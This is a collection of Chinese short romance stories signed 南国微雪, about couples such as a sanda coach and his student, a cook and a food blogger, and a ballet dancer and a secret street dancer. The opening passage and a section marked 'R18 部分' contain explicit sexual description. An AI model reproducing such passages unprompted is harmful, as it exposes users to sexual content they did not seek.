　　胸部也是，他似乎很喜欢。每次都揪得她有些疼，但是身体确实一幅很喜欢被这样做的样子，胸部上的蓓蕾一次比一次硬，越被玩弄越喜欢。她都怀疑这是不是她的身体，完全不听她使唤，每次还没开始，蓓蕾就会早早地坚硬起来，傲然地挺立在胸部上面。

　　她是被他弄得越来越色情了。面对身体越来越色情的自己，她却丝毫办法都没有。

　　虽说很舒服就是了……

　　日后她回想起来那天晚上，才发现他还是有所克制的，不像后面每次欢爱，她都有点怕，怕他原始的冲劲和耐力。次次都快要了她的老命，简直让她怀疑自己为什么会身为女性而活下来。要是让其他女性来的话，估计会发疯发狂的。

　　而她对他的喜欢，也在每一次他制造的极乐地狱，和她每一次的小腹痉挛和背部狂弓中慢慢加深。

　　只是，她心里暗暗想着，要是哪一天他俩身体互换，她一定要让他尝一尝，被喜欢的人进入身体，侵犯到连续高潮到不能自已，小腹无力的滋味。

想象力训练 - 散打很温柔

　　由于工作的关系，她长胖了不少。因为不想再成天对着自己的肉肉发愁，她决定去办一张健身卡。

　　虽说她知道很多人办了卡之后再也没动过，但是还是硬着头皮去了。

　　这人啊，总得试试吧。

　　在一个阳光明媚的下午，她推开了云翼健身会所的大门。咨询，办卡，见教练，一气呵成。然后推开健身房的大门潇洒离开。

　　——她本想这么做。但是给她分配的那个健身教练怎么看都很奇怪，一身风衣，戴着眼镜，看起来温文尔雅。个子也不大，似乎也没什么肌肉。硬要说的话，看起来算是一个知识分子，读书搞研究的那种，怎么想都不可能出现在这里。

　　她在怀疑他是怎么混进来的。

　　但是这也打破了她对于健身房里都是肌肉猛男的刻板印象，说实话，之前还真是硬着头皮来这里的，还想象过一堆肌肉猛男盯着她看。

　　他的出现也让她安心了一点。


　　“您好，可以开始了吗？”他温和地笑了笑。

　　他走到她的身边。健身房里的人开始骚动，都把她盯着，盯得她毛骨悚然。她最不想看到的事情还是发生了。但是她对于产生这种情况的原因一头雾水。

　　“可以。”她暂时先把那些火热的目光扔在一边。

　　“那咱们做完热身运动后，先跑个 5 公里吧。”他仍是波澜不惊。

　　她人差点都吓没了。好家伙，谁家教练要求一个刚来健身房的新人跑 5 公里啊？

　　“能减少一点吗？”

　　“你想减少成多少？”

　　“两三公里吧……”

　　“那就四公里。不讨价还价了。”

　　她这时候只想给他翻白眼。

　　这一套下来，跑步，拉伸，韧带啥的，人都给她整麻了，看起来，他并没有因为她是女孩子而降低标准。

　　我是来这里减肥的还是受苦的啊……天哪……

　　她明天都不太想来了，实在是太恐怖了。

　　……

　　但是哪有办了卡第二天就丢的道理？

　　她最终决定明天还是来。实在坚持不下去了，随时销卡就可以了。


　　“希望明天还可以看见你。”他仍旧儒雅地笑着，似乎连眼镜边框都泛着温和的光芒。

　　这货还知道他不把别人当人看啊……

　　她心里郁闷。出了健身房的门，对着云翼两个字狠狠瞪了一眼，然后回家。

　　她不知道身后健身房的落地窗前，有一双深邃的眼睛，看着晚霞打在她如瀑般美丽的长发上。

　　第二天，她感觉浑身酸痛。但是上称一称，减掉了将近一斤，这让她又惊又喜，于是打完卡下班兴冲冲的奔向健身房，但是一想到他今天又会变着花样儿折磨自己，就觉得有点痛苦。

　　不过就算是折磨……这也算是好的折磨……吧？

　　他才从外边买完菜回来，在健身房门口看到她兴致冲冲又畏畏缩缩的样子，经不住觉得有些好笑。

　　看来自己确实把她折磨得有点狠啊。

　　他也不急，就在离健身房门口不远的地方，看着她鼓起勇气进去，又胆怯地摇着头出来，反反复复的，大概有两三次左右。他在一旁都快笑岔气了。

　　就在她最后一次，握紧小拳头准备冲进去的时候，他在一旁打了个招呼。

　　“呦！”

　　“啊……”

　　“好巧啊，你下班了？”

　　“嗯……不过你现在才来吗？”

　　“嗯，我跟其他教练的时间不太一样……”

　　“你上司不会骂你吗？……”

　　“这个……算是不会吧……”他迟疑了一下，“进去再说吧。”

　　“哦……”她点了点头，心里暗自庆幸，他没有看到自己刚才那副畏缩的样子。

　　她随他到了健身房。

　　人群看到他们依旧有一股骚动，感觉就像她做了什么坏事，众目睽睽之下处刑似的，让她心里很不舒服。但她还是没有管这些，继续听他今天的安排。

　　“咱们今天来点轻松的吧。”

　　“为啥啊？”她有点奇怪。

　　“你非要我把你在门前磨磨蹭蹭的样子给你描述一遍吗？”他笑了。

　　“啊……你看到了啊……”她这时候羞耻地真想找个地缝钻进去。那时候门口的保安还一副看怪胎的样子看着她。

　　“看得很清楚哦~”

　　“烦死了，你闭嘴。”

　　对她好一阵安抚，才开始今天的课程。

　　“所以呢？今天做什么？”

　　“既然是来点轻松的，那就先跑个 8 公里吧。”

　　看着他脸上闪闪发光的笑，她觉得背后有一股寒气。

　　我能不能朝着他这张白净的脸上，狠狠地删上一巴掌啊？

　　“开玩笑啦， 8 公里太耗时间了，咱们跑 1 公里热热身，做做运动，我来教你一点有意思的吧。”

　　“什么？”她好奇起来。

　　“暂时保密。”他把食指竖在嘴唇上，朝她眨了个眼。

　　她看到他修长的手指和干净的嘴唇，有一股莫名其妙的感觉窜上心头。她感觉自己被撩了。

　　这家伙……还吊人胃口……

　　热身运动过后，才终于揭开这个秘密——他要教她散打。

　　对她进行的一大堆的散打科普她一个字没听进去，只注意到了他说的最后几句话。

　　“女孩子最好学点防身用比较好，而且你的身形很漂亮，有些能再完善的地方，散打也能帮助你变得更完美。学完能更有魅力也说不一定哦？”他说到自己身形漂亮的时候，眼睛是直视自己的。眼里透露出一股诚意和赞许。

　　她渐渐地感觉这个男人和其他男人不太一样。不仅仅因为他在健身教练中比较异类。

　　“而且……”他顿了顿，叼住了她的注意力。

　　“我昨天这么对你，以后也有可能这么对你，你就不想打我来发泄一下吗？”又是一个笑，在他脸上展现。

　　看起来非常欠揍。

　　不过……好像说得没错？自己还能打他。


　　但，接下来的几天，她才意识到，什么叫做天真……

　　完全是被他血虐。一次都没赢过。

　　不过她能感觉出来，他为了让她能感觉到进步，每天都会教一些新的东西，而且能迅速地用到实战中，都是一些非常实用的技巧。不仅如此，他每天的最后还会安排，自己和她的对打。当然是分等级的那种。这种逐渐进步的感觉让她很上瘾。

　　在一天天的课程中，她对他也逐渐更了解。同时发现了一个很重要的东西。

　　散打是难免要肢体碰撞的，他不会用那些危险的招数，甚至连那些能让他自己占到便宜的招数也不会用。感觉他比她自己都要爱惜她的身体。

　　这些都是很隐形的东西，她也是搜了很多散打的资料才渐渐感觉到的。

　　他似乎人如其表，是一个谦谦君子，一个绅士，温文尔雅，但是从这个外表，根本看不出他是一个健身教练。

　　时间很快就来到了课程的终结。

　　那是一场最终的决战。在一个没有人的健身室。一如既往。她一直很奇怪为什么他教散打要找这么一个没人的房间。但是也没在意这么多，可能是他的教学习惯吧。

　　“今天是最后一次对打了，做好心理准备了吗？”他笑了笑，依旧是一身风衣，看起来没有丝毫紧张。

　　“嗯。开始吧。”她严肃地点点头。

　　两人摆好架势。

　　健身房的落地窗外，雨在淅淅沥沥地下个不停，雾气弥漫。似乎有点冷。而室内两人正在对峙，紧张的气场铺天盖地，连认认真真工作的时钟都被压得不敢发出“滴答”的报时声。

　　他身体开始动了。速度很快，快得她几乎反应不过来，只是靠着他上课教的动作，本能地进行着闪避。

　　进攻一波接着一波，她连躲开已经竭尽全力，狼狈之态尽显。

　　他还是没用教她以外的招式。不知道他在恪守什么。

　　她很想赢一次。

　　很想。

　　很想。

　　之前跟他的对打从来没有赢过哪怕一次。

　　强烈的愿望，使她精神更加集中，她似乎能摸见他的出招轨迹了，开始进行反击。

　　但仍旧是小儿科手段。

　　时间持续了很久。

　　最后终结是在他一次进攻时，不小心触碰了她敏感的地方，他愣了愣神，被她猛地一弯腰从手下略过，然后右腿大腿根受到肘击，没站稳，跪在地上，被她擒住后顺势放倒，仰面躺在室内。

　　她擒住他，然后对着身下的他高兴地大喊：“我终于赢了！”

　　“恭喜你。”他仍旧只是笑了笑。

　　“哼哼，怎么样？”她也开始得意地笑。

　　“等下啊……”

　　嗯？他还要搞什么幺蛾子？

　　她只见他从身体下边摸摸索索拿出一个东西，她以为他要还击，于是慌忙进行防御。但是却被他勒令一声：“不准动！”

　　她没见过他这么凶的样子。被吓到了。

　　然后他把那个东西拿了出来，是一个盒子，拆开，里面是一条项链。

　　图案是雪花，似乎还闪着外面小雨的光芒。

　　他挣扎着弓起腰来，为她光滑细腻的脖颈上带上这一条，他前两天精心挑选的项链。然后又安静地躺下，就这样看着她。

　　她双手撑在他头两侧，看着自己脖子上还在摇晃着的，闪闪发光的项链，愣了愣。想了想这三四个月，她不知道说什么好，只能呆呆地看着他。

　　“恭喜你，合格了。”他努力地说完这一句话，坚持不住了，晕了过去。

　　她这个时候才注意到他额头上的汗密得不正常，慌忙打了急救电话。之前都被这件事情幸福地冲昏了头脑。

　　她没想过，他能先做出行动，她一直以为自己是一厢情愿。


　　说来可笑，她在医院里才正式地从身份证上，得知他的姓名。他之前从来没对她说过，竟然就一直这样持续了三四个月，谁也没有过问。

　　去搜索引擎上一搜，才知道，儒雅背后的他，到底有多么强大。之前她隐隐地有猜测到，饶是如此，她现在还是被震撼到。

　　2002 年被誉为散打界的天才儿童。后来神隐。

　　2009 年，成年，参加世界杯散打王比赛中国赛区，获冠军，第一次肩负国家出战世界杯。

　　同年获世界杯亚军。

　　2010 年，全国散打联赛，冠军。

　　2015 年，世界杯散打王比赛中国赛区，季军。

　　2016 年，在世界杯散打王比赛被对手严重伤及右腿腿根，无奈提前退役，业界为之嘘唏。

　　她想起了，她今天好像也是攻击的那个部位，一阵狂汗。

　　这个笨蛋，他也不提前说说……

　　现任云翼全国健身会所CEO，兼某分部金牌教练，但没人知道他为什么不教散打。

　　她看到了这句话，正在奇怪的时候，一位护士走过来：“您好，您是病人的家属吗？”

　　她犹豫了一下。

　　“是，我是他女朋友。”

　　后来他没什么大碍了，但还是要她搀扶着走路。她突然想起了那个问题。于是便问了他。

　　“为什么不教散打啊……这个嘛……兴趣使然吧，”他顿了顿，“总之，还是……保密。”

　　他又做出了第一次撩到她的那个表情。

　　又开始撩……她心里一跳，恨得牙痒痒，想当场丢下他就跑。

　　不过联系到之前众人的火热目光，以及教散打总要找个空房间，她似乎有了点眉目，同时又注意到了另一件事：

　　“以后有伤要提前说出来啊……”

　　“这不是怕扰了你兴致吗……看你每天那么期待来打我，说出来让你唯唯诺诺感觉不好……”他笑了笑。

　　“下次给我说出来！！！”她狂翻白眼。

　　“是……”他被骂得没了脾气。

　　再怎么无理取闹，他还是知道，这两天，他还是要靠她这个可爱的小女朋友过活，先忍忍吧。

　　她搀扶着这个前散打冠军，在一个阳光明媚的下午，逐渐向他们的小家走去。

　　和她刚去健身房的那个下午一样阳光明媚。但似乎，有什么不一样了。某条项链上，雪花折出的七彩光芒，似乎知道知道正确答案。


　　南国微雪

　　2020 年 11 月 20 日












































R18 部分

　　她在日后逐渐了解了他的很多秘密。也知道了他很多任性。他生活中从来没用散打对付她，总是温温柔柔的。可能是因为他性格是一个几乎不像是散打冠军的小孩子脾气。

　　要说哪里有散打冠军的影子的话，可能耐力惊人，宝刀未老算一个吧。因为，他每次都能在床上把她折磨得要死要活，连连求饶。

　　别看起来他平时温温柔柔的，对打的时候碰到女性敏感部位都要害羞愣神，但是在床上蹂躏起女孩子来可狠了，次次都要把她弄到自闭。

　　但这也算是她幸福生活的小小来源吧。

想象力训练 - 就算是厨师也能照亮他人

　　“今天怎么这么多人啊？！什么情况啊？”他觉得自己人快忙疯了，事先切好的菜，准备的酱料什么的，今天中午全空了。

　　不过他更奇怪的是，今天的人为什么爆满。以前他的顾客就像路上难得一见的小花，而今天是走进了一片薰衣草田。

　　“嘻嘻，在忙啊？”她俯下身，凑到他面前粲然一笑。

　　吓得他差点锅没扔出去。

　　“你怎么来了？”做完最后一道菜，他边用毛巾擦着手一边转头向她问。

　　“诶嘿，我来看看我的……”某人的眼睛咕噜一转，“战果？”

　　他一愣。

　　好家伙，是你干的好事？

　　他有点无语。

　　“你怎么找到我的？咱们初中以后就没见过面了吧？”

　　“这个嘛……保密～”她把食指竖在嘴唇上，眨眼一笑。

　　真搞不懂这个女人。

　　“这些人都是你引来的？”他看着顾客陆陆续续离开，身边不断响起收到付款的声音，心不在焉地开口问——他之前还在为自己的未来发愁来着，忙的时候开心了一下，但现在更愁了。

　　“认真看着我！”她有些赌气地撅起嘴，把他的脸强行掰到自己的眼前。

　　两人眼睛里都只能看到对方的眼睛和眉毛了。距离很近。

　　他竟然该死地脸红起来。他从来没有这么近地接触一个女孩子。

　　她按在自己脸上的手有点凉。他想着这些乱七八糟的东西。

　　她很满意，然后掏出手机，给他看了一下她的某个社交网站个人中心。

　　粉丝数——27.5万。

　　他呆住了。不过，是因为她的笑。她用手指着屏幕时，脸上有一种骄傲又羞涩的笑意，配合上她俏皮的猫猫发饰和她身后灿烂的阳光，他仿佛觉得自己这烟火小店受到了天使的青睐。

　　“喂喂喂？”她的小手在他眼前晃了两下。

　　“啊，不好意思……”

　　“果然跟初中一样木，”她笑了笑，“能带我去看看你的房间吗？”她的手指了指楼上。一般小餐馆什么的都是这种设计的。

　　“啊，这个……”他有些难堪，因为自己的房间很简陋。

　　“不行吗？”她似乎有些遗憾。

　　“可以是可以……唉，算了，带你去吧。”


　　一架双人床，一个电脑桌用来看书写字，一个书架，一个衣柜。没了。

　　她好奇地打探着四周。

　　他窘迫地想找个地缝钻下去。抬起头却发现她坐在自己床上。

　　她拍了拍身旁的位子。

　　他坐了过去。

　　“知道我为什么来了吗？”

　　“不知道。你说吧。”

　　“为了一个梦想。”

　　“是什么？”

　　“你觉得呢？”

　　“我猜不到，别逗我了，快说吧。”他真是服了这个女孩了。

　　“那就是……”她用手指在天上划了两圈，纯白的双腿前后啪嗒啪嗒地欢快动着。

　　他等得有些着急了。

　　她看见他这副表情，很满意。

　　“想要看看自己的新家。”

　　他一愣。

　　但是这个女孩却不给他愣神的机会，双手往他胸膛上一撑，便把他推倒在床上，然后爬上他的身体。

　　“其实我真正的梦想一直是这个。”

　　她伏在他的胸膛上，听着他稳稳的心跳声，开口说了这句话。

　　他感受到她凉凉的手指在自己身体上按着。心里五味杂陈。没有说任何话。

　　但忽然他感觉到了什么，拉起她的手，感受着她冰凉的手指。

　　“怎么搞的？”

　　“练刀法练的，开始很笨，切破了很多次。”

　　“为什么会选择我？”

　　“因为你一直很坚定。坚定地想要做个厨师。我记得你说过，你想要顾客吃到你做的东西时，脸上露出幸福的笑。”

　　“这样的人有很多……”

　　“那时候因为我体质弱，受别人嘲笑。你也因为你的梦想受别人嘲笑。但你一直在努力，那个时候的你发着光。”

　　“为什么你也选择了做厨师呢？”

　　“可能是因为我想吃好吃的东西吧，”她打了个趣，笑了，“而且也想为你分担压力，”她犹豫了一下，还是说了，“最主要的，应该还是想待在你身边吧。”

　　他沉默了，把她从自己身上移开，挣扎着坐了起来，然后紧紧地抱住了她。

　　“谢谢你。”他伏在她耳旁平稳地说，但她却感觉到T恤肩头附近有了些湿意。

　　“如果你不来，我真的不知道该怎么办才好了。”

　　她暖暖地笑了，两只手回抱在他的背上，示意他安心，然后轻轻地说：“放心吧，我会一直在这里的。”

　　外面淅淅沥沥，似乎下雨了。

　　但室内这两人的晴天，才刚刚开始。


　　「

　　致亲爱的读者朋友们，

　　很遗憾地向你们抱歉，这是最后一次推送。我实现了我创立这个美食推送频道的初衷。他是一名优秀的厨师。我将他的店铺，作为了这个频道推送的最后一站，但这并不意味着结束，而恰恰是一个新的开始。

　　我将以老板娘的身份，在他的店铺共同努力，一同承担接下来的幸福与风雨。如果各位能在百忙之中抽出时间来看一看，品尝一下我和他的劳动成果，我们会很高兴的。地址已经在上一条推送上注明。

　　感谢7年相伴。2007.4.21---2014.9.1。


　　你们的美食鉴赏家，

　　祯

　　」



　　南国微雪

　　2020 年 10 月 30 日

想象力训练 - 芭蕾舞者欺负人

　　他不知道是不是所有的舞蹈老师都这样漂亮。或许是芭蕾养人的气质吧，他很喜欢看她在舞蹈室里练习。

　　一坐能坐一下午。

　　她刚开始很介意他来着，但连着几天他都很乖，进度也不可能一直落下，就没管他了。

　　现在已经习惯了他在身旁看着的感觉了。


　　“给，很累吧？”他把水递过来。表情平静。

　　这幅性冷淡的表情也不知道改改。她想。

　　她记得之前还没习惯他旁观的时候，常常因为他这副表情以为自己哪里跳错了。

　　“嗯？怎么是橙子味的？”她很惊讶。他递给她的水杯里什么东西都没有，澄澈透明，如同外面一片云朵都没有的干净蓝天。

　　一束阳光，透过窗户投在舞蹈室的地面上，钻到他们两个人中间懒洋洋地躺着，看着两人相互瞪着眼。

　　“不喜欢？”他打了个哈欠，“我以为你很喜欢橙子来着。”

　　“不，是很喜欢……但是你是怎么知道的？”

　　以前都是白开水的，冰水都不让我喝，哼。

　　“这你就别管了，”他看了她一眼，转头走向他的专用席位，同时冷冷地扔下一句，“继续练吧，时间不多了。”

　　什么嘛！这是什么态度！

　　她脸颊鼓鼓的，气得直跺脚。但看他冷冷地盯着自己，心里有点发毛，还是乖乖去练习了。

　　明明不是教练，为什么这么怕他呢。她自己都想不明白。


　　等她醒的时候已经是下午了。太阳依旧斜着眼盯着他们。

　　因为很累，她就在舞蹈室旁边的休息室睡了一觉，那里面有床。

　　但是门外有音乐声。她准备偷偷开了个门缝探探外边的情况。因为音乐声很怪，不像是她们队友在练习，是那种很躁动的音乐，不属于芭蕾这样轻柔的配乐。

　　舞蹈室被人霸占了？那音乐声也不可能这么小啊，像是在克制什么。

　　她甩了甩头，把胡乱的猜测扔了出去，把眼睛安在门缝上，然后就看到了他的身影。

　　速度，控制，定型，踩点，细节，框架，气场，力道，气氛把握，音乐分层……这些都做得很好。

　　她不懂街舞，但是看得出来，他很厉害。起码有很多年的积淀。

　　但是他从来没表现过。


　　她忽然感觉自己的下巴被强硬地往上抬，然后就撞见他邪气的笑。一种又邪又贱的笑，完全不同他平时性冷淡的表情。

　　唇角往旁勾，额头上是练习的密密细汗，两只眼睛微眯，就这样看着她。

　　她随即就明白，自己在看着他发呆的这段时间，被他抓住机会调戏了。

　　太阳不知道藏在哪里去了，外边已经下了有一会儿的雨了。室内有些冷。练芭蕾的这身衣服这时候御不了寒，她双腿此时有点发颤。

　　他把他的外套脱下来，裹住她纯白的双腿，然后把她推进了更衣室。

　　“把衣服换下来吧，今天很冷了，不用再练了。”她听到门外的他清了清嗓子，“我请你吃饭去。”

　　她在更衣室里良久没有动，只是感受着双腿上传来的丝丝暖意。然后依依不舍地换了衣服。

　　换了衣服，拿上手提包和他的外套，出更衣室就看到了他在他的专用席位上坐着。

　　背上湿了一片，手臂上还有鸡皮疙瘩。——他现在很冷。但是他没有任何表现，镇定如常。

　　“站起来。”她把外套披到他的身上，然后命令道。

　　“干嘛？”他望着她，站了起来。

　　依旧是那副性冷淡的表情。她已经无力吐槽了，同时又好奇他那副撩人的表情被藏到了哪里。

　　“帮你拉拉链。”

　　“这种事情我会做啦。”

　　“我想做。”

　　她一句话把他所有的话全塞了回去，他顿时没了脾气。

　　她把他的拉链拉到了顶端，然后就这样看着他。

　　两个人对峙。

　　“你看我干什……”他的话还没说完，嘴就已经被堵上了。

　　一些斜斜的雨，透过窗户逃进室内，降落在地面上，但离她踮起脚尖的那块地方似乎还很远。

　　他快呼吸不过来了，抓住她的双肩强硬地撑开她。分开的时候，他的嘴角都还感觉麻麻的。

　　“老地方，我先去占位子，你快跟上来。”说完他就火速拿着伞走开了。

　　他逃跑了。

　　她现在只想偷偷地笑。

　　“等等我啊！”她也抓上伞追他去了。

　　但他始终要比她快一点，像是不让她追上来似的。她正想埋怨的时候，透过伞垂下的水帘，看见了他通红的耳朵和通红的脖子。

　　煮熟的大虾那样红。

　　她笑开了，也不准备去追了，就在后面边笑边慢悠悠地走着。


　　最终他们吃饭的时候都没说一句话，她就一直看着他。看着他的脸慢慢变红，然后最终逼得他放下碗筷去结账。

　　她以前怎么没发现这人这么有意思。

　　因为一直盯着他吃饭，自己没吃，有点饿，她到家附近随便找了家面馆点了一碗面。

　　然后结帐的时候，发现自己的手提包里安安静静地躺着两个橙子。

　　两个橙子侧面都写有字，连起来看是——“笨蛋”。

　　她有些气结，拿出来准备当做饭后甜点狠狠吃掉。然后无意中发现橙子底面好像还有痕迹。

　　拿起来看了看，一个写着“喜”，一个写着“欢”。



　　南国微雪

　　2020 年 10 月 5 日

想象力训练之一

　　人们都说他是一个音乐疯子。连她也这么认为。

　　倒不如说，她就是因为他才存在于这个世界上。

　　那是一个吹着微风的午后，阳光恣意地洒着。窗帘微摆，打到钢琴侧腰上。一个身材颀长的男孩子走进这间空教室。

　　男孩眉清目秀，修长的手指抚摸着琴键，看向钢琴的眼神很温柔，但是，仍然掩埋不了眼底的那份忧伤和寂寞。

　　拉开凳子，坐下，开始演奏。

　　他从第一个琴键发出声响时起，就陷入了狂热与无人之境，眼闭着，似乎在享受。

　　也似乎在麻痹。

　　他没注意到一点点的金光正在向钢琴里面汇拢。那是一名少女的模样。

　　一曲终了，少女站在一旁看着他。可是他旁若无人，只温柔又寂寞地看了钢琴一眼，又走掉了。

　　这是百年来第一次有人唤醒她。但是唤醒她的那人却看不见她，这使她深感寂寞。像他一样。

　　少女有时坐在钢琴上，看向窗外操场上他挥洒汗水的身影，不知道在想些什么。低着头笑笑。

　　有时也会学着他的模样演奏，但是琴键从来都发不出声响。就算这样，她也会记住他的节奏，模仿，直到她趴在琴键上睡着。


　　那天，少年带着他的好朋友来到了这里。她注视着他们两人，但两人都未曾理会过她。

　　少年开始演奏，而少女，在一旁爱恋又寂寞地看着他。

　　一曲终了，他感觉脖子一凉。

　　他的好朋友瞪大眼睛看着他。

　　少女终于忍不住在最后，环住他的腰，吻上他的脖颈。她不知道这股爱恋从哪里来，只是直觉驱使着她这样去做。

　　少年回头一看，潸然泪下。

　　少女的模样正是少年死去的恋人的模样。

　　但在下一刻，少女的身体全部化金光，一瞬间全部消散。一如她形成的模样。

　　少年趴在琴键上恸哭不已。


　　这，便是一个音乐疯子的开始。

　　而这，亦是一个音乐疯子的结束。


　　南国微雪

　　2020 年 6 月 17 日

想象力训练 - 普通

　　“考北邮吧，我想在那里见你。”

　　她给了迷茫的他一个明确的目标。

　　兴趣、相识、日常、滋生、表白、迷茫、恐慌、无助、指向、明晰、努力、流逝与崭新。

　　在崭新的北京邮电大学里看见了梦寐以求的她。

　　“很失望吗？”她笑了笑。

　　“不，我觉得这样才正常，要你是个女神，我可能会落荒而逃。”他看见面前带着鸭舌帽，朴素无华的女孩，笑了笑说。

　　“那个……”有一个肌如凝脂的貌美女子走过来，“请问南巷雨滴是你吗？”

　　那个女神看着他。

　　“嗯。”他答。

　　“请你做我男朋友好吗？”

　　夏天，大城市隐约才能听到的蝉鸣在此刻似乎响了起来，树荫下的三人沉默无言，周围是新生匆忙的身影。

　　鸭舌帽女孩转身离开。

　　他对那个很漂亮的女孩子说着什么，笑了笑，没有追过来。

　　几天后她看见那个漂亮女生在和他一起散步。

　　她有些酸楚。


　　去图书馆的路上。

　　“终于找到你了。”

　　“你不是和那个女生是恋人吗？找我干嘛？”

　　“我喜欢你，请和我交往吧。”

　　她愣了一下，转身走开。

　　他从背后抱住了她，她奇迹般地没有挣开。

　　“为什么？”她像是在问他，也像是在问自己。

　　“实在推不了，也为了报答那个女生，我做了她三天男朋友。她帮过我很多。但你，救过我。”

　　少女的眼角倒映着树木。

　　“你知道我等了你多久了吗？”

　　“对不起。”

　　他用手抚摸她的脸颊，让她侧过来，轻轻地吻去了她的眼泪。

　　“以后不许再在我面前跑掉了。”

　　“嗯。”

　　他把她双手扣住，摁在图书馆外围的墙上，疯狂起来。

　　夏天，依旧在继续，而蝉鸣，似乎听不见了。



　　南国微雪

　　2020 年 6 月 10 日

想象力训练 - 设计师想要恋爱

　　她在狩猎衣架。但是很多衣架她都看不上眼，直到遇见了他。

　　“哎呀，你试试嘛，试试又不亏，还能变帅，多好。”

　　“不要。”

　　自从遇见这个小妮子之后，他就一天没过过省心的日子。他被拐去当她们公司的模特不说，为了工作，她还特意搬家到他的隔壁，这不就一典型的工作狂吗。

　　他因为外表，被很多女孩子追过，但是最后都因为他的性格逃之夭夭。他担心她会重蹈覆辙。

　　奇怪……为什么我要关心她？她也没有追自己啊？

　　他打了个哆嗦，原来是窗户没关严，透了一点风。他赶紧关实，然后倒了杯热茶。

　　她在旁边气鼓鼓地盯着他。

　　“别生气了，给你也倒一杯。”为了让她消气，倒完顺便还摸了摸她的头。

　　手感真好。

　　“我说的不是这个！”

　　“大冬天的，穿这个会死人的啊姐姐。”

　　两人大眼瞪小眼。外面正如他所说，正在飘着雪花。纯白的精灵们慢悠悠的落下来，在窗台上幸福地化成水。

　　“来我房间，有空调。”

　　“为什么要去？有什么奖励吗？”

　　“奖励嘛，你来了就会有的。”


　　她房间里好暖和。自己真好钓。他心里忍不住吐槽自己。然后他就看见了客厅里满地的纸。

　　“这都什么？”

　　“啊……忘了收拾了……”她有些不好意思，“都是服装设计草图。”

　　“真是辛苦呢。”

　　“少废话，快去。”她把衣服塞给他，一把把他推进了自己的卧室。

　　“喂……你……”他最后看见的是画架上唯一留的一张图纸。跟草图不一样，画得很精细。

　　少女的房间有一种淡淡的香味。他甩了甩头，赶走这些不健康的想法。

　　“好了吗？”

　　“没有。”

　　“好了吗？”

　　“没有。”

　　“好了吗？”

　　“……”

　　这女人怎么回事啊。他有些无语。

　　“好了。”

　　话音刚落，就看见她破开门冲进来。而他此时还在打那该死的领带。

　　“啊……”她愣住了。半晌之后双手捂住脸，转身，木讷地走出卧室，关门。

　　他有些诧异。然后突然想起了什么，嘴角勾起一抹坏笑，走出去，看见她站在墙边，依然捂着脸。

　　“这衣服好热啊……”他走到她面前，做出一副很热的样子，装模作样地胡乱扯着领带。

　　她看了他一眼，又转过身去，脸红到了耳根。

　　果然。

　　“莫非……你喜欢这样？”

　　他步步紧逼，将她逼坐到沙发上。

　　“你不要那样啦……不然我就……就……”她红着脸，声音越说越小，头也越来越低。

　　“就什么？”摆出一张坏心眼的脸，他觉得欺负她越来越有意思了。

　　她忽然鼓足勇气，抬头看了他一眼，然后亲了他一口，朝着家门夺路而逃。

　　只留下他一个人傻愣在原地。

　　正要去追她，却忽然看见沙发旁的画架上，那副精细的服装设计图下面有一行小字：

　　为喜欢的人设计之作。

　　看了看自己衣服旁边的吊牌，他苦笑了下，然后追着她的身影而去。


　　“果然还是我设计的这身衣服最适合你了。”

　　“是啊，不过要是你身上的婚纱也是你设计的就更完美了。”

　　他还是顶着寒风穿上了这身衣服，没有空调。

　　雪花，依旧在飘。



　　南国微雪

　　2020 年 6 月 7 日

想象力训练 - 酒保与冷静

　　他细致地擦着杯子，门上的风铃忽然响了一声。

　　“欢迎光临。”他眼也不抬，直到她坐到吧台前。

　　“请问要点什么？”

　　“教父，谢谢。”

　　他抬头看了一眼这个女孩子。眸子里只有冷静。

　　教父虽然是鸡尾酒，却有点烈，并且有苦味。一般是男性点这个比较多。

　　“您的教父。”他用娴熟的手法调好酒后，递给她。

　　她抬头看了一眼这个酒保，就跟他之前看她一样。

　　店里的音乐还在放着，是舒缓的轻音乐。店内连上他们只有四个人。剩下的那两位不知道在聊些什么。吧台上方淡黄的灯光照在他们脸上。

　　对视。沉默。

　　她喝了一口酒。他继续擦着杯子。

　　“你为什么开这家酒吧？”

　　“因为喜欢。”他继续认真地擦着杯子，似乎丝毫不意外她为什么知道他不仅仅是个酒保。

　　“我觉得你不合适。”

　　“为什么？”他边问边转过身去，拿架子上的朗姆酒瓶，瓶脊上面似乎有些灰尘。

　　他依旧没理她。

　　“因为……”

　　他转身回来拿擦拭的手帕，但视线却被强制转移。

　　“因为直觉。我的第六感一向很准。”

　　她左手撑在吧台上，右手捏起这位酒保的下巴，近距离地看着他。涂着口红的唇，妖媚地往旁边一勾：“来陪我玩玩怎么样？嗯？”

　　两人依旧对视。两人脸上都没有任何波澜。但两人的吐息与热量全打在对方的脸上。

　　另外的两人已经起身，准备离开。

　　“这位小姐，男人都是狼。”

　　“可你是一头温顺的狼，不是吗？”

　　“……”

　　“来陪我玩玩，怎么样？”

　　“怎么做？”

　　“我说故事，你听。”

　　“今天你的酒水免费。”

　　“成交。”


　　凌晨一点。只有两人的酒吧，终于打烊。

　　“我之前没见过你，你怎么推出来我的性格的？”他背对着她，锁门。

　　“因为你推酒的手势。”她的手绕过他的身体，重叠在他的手上。

　　他刚想动，右耳就钻进了她的气息：“今天我很开心，这是给你的奖励。”

　　说完，她的气息往下挪，然后他感到自己的脖子被咬了。

　　“小姐……”

　　她没理他，松开手走掉了。

　　他回家看着脖子上，她种下的草莓周围一圈的口红，苦笑了下。


　　第二天晚上，她又来了。

　　押了身份证和两百块钱，打烊后的两人都没回家。

　　城市依旧繁华。



　　南国微雪

　　2020 年 6 月 6 日

想象力训练 - 认真地发光

　　又来单子了，工作室的人把她推进了化妆间。

　　坐在熟悉的椅子上，她叹了一口气。

　　这是第几次了呢？这样像一个娃娃一样被摆弄着，往脸上加一些东西，让她感觉像是戴了一层面具。她望向窗外，太阳很好，树荫也恰到好处，很适合用来拍照。

　　“忍一忍吧，这就是生活啊。”他笑了笑。随后像一个忍者般，左手四根手指夹着几根化妆笔。开始工作。

　　他是她的化妆师。而且已经搭档了很久了，自然知道她的想法。

　　自己的计划又得改了。她想这这个，还有一些乱七八糟的事情。

　　对了！她忽然想起来一件事。

　　啊……我真是个笨蛋。她旋即看向他。

　　他没理她，依旧专心地为她画好每一点眉线的边缘。两只眼睛焦点全在他正在工作的区域，嘴微张着，像一个雕塑家那样全神贯注。

　　他太过于专心，没注意到彼此的距离拉得很近。

　　她看见了他的睫毛。很长。她甚至想在上面晾几件衣服。

　　他的眼睛很漂亮。鼻翼很挺拔。

　　他的吐息在她的脸上窜来窜去，撩拨着她，骚扰着她，折磨着她。

　　但他的焦点依旧不在自己身上。

